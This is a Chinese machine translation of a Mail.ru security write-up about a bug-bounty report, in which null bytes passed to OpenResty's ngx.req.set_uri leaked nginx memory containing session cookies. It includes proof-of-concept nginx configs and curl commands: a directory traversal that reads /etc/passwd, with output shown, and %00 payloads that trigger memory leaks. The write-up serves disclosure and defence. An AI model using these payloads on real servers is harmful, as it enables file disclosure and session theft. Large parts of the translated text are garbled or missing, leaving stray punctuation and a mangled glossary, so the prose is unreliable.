关于...中的一个漏洞



一年前,2019年3月21日,在一个错误赏金计划Mail.ru上HackerOne来到了很好的bug报告maxarr。当在返回HTTP重定向的一个Webmail API请求的POST参数中嵌入零字节(ASCII 0)时,在重定向数据中会看到未初始化的内存,其中GET参数的片段和其他请求的标头同一台服务器。

这是一个严重漏洞,因为请求包括会话cookie。几个小时后,进行了一个临时修复,该修复过滤了一个零字节(后来证明,这还不够,因为有可能注入CRLF / ASCII 13、10,这使您可以处理HTTP响应的标头和数据,这不太重要,但是仍然不愉快)。同时,该问题已提交给安全分析人员和开发人员,以查找并消除该错误的原因。

Mail.ru邮件是一个非常复杂的应用程序,包括开源(非常感谢所有自由软件开发人员)和我们自己的开发在内的大量不同的前端/后端组件,都可以参与响应。可以排除除nginx和openresty之外的所有组件,并在调用ngx.req.set_uri()之前定位问题。在OpenResty脚本中,该脚本的行为与预期不符(将零字节或GET参数从改写到ngx_http_rewrite_module的行中放入GET参数,根据文档说明,该文件将被使用,并且看起来应该以完全相同的方式工作)。消除了可能的后果,添加了最严格的过滤,并且已验证过滤消除了所有可能的矢量。但是导致内存内容泄漏的机制仍然是个谜。一个月后,错误报告已根据授权被关闭,并且对错误原因的分析被推迟到更好的时候。

OpenResty是一个非常受欢迎的插件,它允许您在nginx中编写Lua脚本,并且在多个Mail.ru项目中使用了它,因此该问题未被视为已解决。过了一段时间,他们仍然回到她身边,以了解真正的原因,可能的后果并为开发人员提供建议。源代码由Denis DenisovNikolai Ermishkin发掘。结果表明:

  • nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .

    :

    location ~ /rewrite {
        rewrite ^.*$ $arg_x;
    }
    
    location / {
        root html;
        index index.html index.htm;
    }




    curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...


  • nginx , , rewrite . nginx , , , , , . .

    (^@ )
    
    location ~ /memleak {
        rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
    }
    
    location / {
        root html;
        index index.html index.htm;
    }



    curl localhost:8337/secret -vv
    ...
    curl localhost:8337/memleak -vv
    ...
    Location: http://localhost:8337/secret
    ...

  • Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .

    :

    location ~ /memleak {
        rewrite_by_lua_block {
            ngx.req.read_body();
            local args, err = ngx.req.get_post_args();
            ngx.req.set_uri( args["url"], true );
        }
    }
    
    location / {
        root html;
        index index.html index.htm;
    }
    


    :

    curl localhost:8337 -d "url=secret" -vv
    ...
    curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
    ...
    Location: http://localhost:8337/{... secret...}
    ...



该问题已报告给nginx和OpenResty开发人员,开发人员不将该问题视为nginx中的安全错误,因为在nginx本身中,没有办法通过注入特殊字符来利用该错误,用于揭示内存内容的修补程序已于12月16日发布。报告发布后的4个月内,尽管了解到需要安全版本的ngx.req.set_uri(),但对OpenResty并未进行任何更改。 2020年3月18日,我们发布了此信息; 3月21日,OpenResty发布了版本1.15.8.3,其中添加了URI检查。

波特斯威格写道 我从OpenResty和Nginx那里获得了一篇不错的文章(尽管有评论说只显示了一小部分内存是不正确的并且具有误导性,这取决于零字节之后的行的长度,并且在没有明显的长度限制的情况下,可以由攻击者控制)。

那么,错误是什么以及如何防止错误?


nginx是否存在错误?是的,那是因为内存泄漏无论如何都是错误。

OpenResty中有错误吗?是的,至少尚未对OpenResty提供的功能的安全性问题进行调查和记录。

是否发生了OpenResty配置/使用错误?是的,因为在没有明确指示的情况下,未对所使用功能的安全性进行过验证。

哪些错误是10,000美元的赏金安全漏洞?对于我们来说,这通常并不重要。在任何软件中,尤其是在多个组件的交界处,尤其是由不同项目和开发人员提供的那些组件,都无法保证其工作的所有功能都是已知的并记录在案的,并且没有错误。因此,任何安全漏洞都会在影响安全性的确切位置出现。

在任何情况下,如果没有明确的指示并且不需要这样做,则最好规范化或限制/过滤输入到任何外部模块/ API的输入数据。

勘误


根据上一篇文章的经验,为了保持语言的纯正性:

赏金漏洞 -寻找漏洞的竞赛
漏洞报告 -错误通知
重定向 -重定向
opensorsny-
称为errata的开源-处理错误

All Articles